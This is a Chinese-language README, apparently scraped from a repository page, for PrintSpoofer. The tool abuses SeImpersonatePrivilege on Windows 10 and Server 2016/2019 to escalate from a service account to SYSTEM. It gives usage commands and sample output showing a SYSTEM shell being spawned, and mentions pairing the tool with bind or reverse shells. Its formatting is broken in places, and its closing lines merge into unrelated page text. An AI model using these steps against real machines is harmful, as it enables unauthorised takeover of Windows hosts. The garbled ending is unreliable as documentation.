通过"打印机漏洞"滥用冒充权限
在 Windows 10 和 Server 2016/2019 上滥用 SeImpersonatePrivilege 从 LOCAL/NETWORK SERVICE 升级到 SYSTEM。
如需更多信息,请参阅 https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/。
## 使用方法 您可以使用 `-h` 选项查看帮助信息。 ``` … ``` ### 使用方法 1: 创建一个 SYSTEM 进程并与之交互 如果您有 __interactive__ shell,可以在当前控制台中创建一个新的 SYSTEM 进程。 __使用案例__: 绑定 shell、反向 shell、`psexec.py` 等 ```txt C:\TOOLS>PrintSpoofer.exe -i -c cmd [+] Found privilege: SeImpersonatePrivilege [+] Named pipe listening... [+] CreateProcessAsUser() OK Microsoft Windows [Version 10.0.19613.1000] (c) 2020 Microsoft Corporation. All rights reserved.
C:\WINDOWS\system32>whoami nt authority\system
### 使用方法 2: 创建一个 SYSTEM 进程并退出
如果您可以 __执行命令__,但没有交互式 shell,则可以创建一个新的 SYSTEM 进程,并立即退出,而不与其交互。
```txt
C:\TOOLS>qwinsta
SESSIONNAME USERNAME ID 状态 类型 设备
服务 0 取消
控制台 管理员 1 正在运行
>rdp-tcp#3 lab-user 3 正在运行
rdp-tcp暂无开放 Issues，或尚未同步最近议题。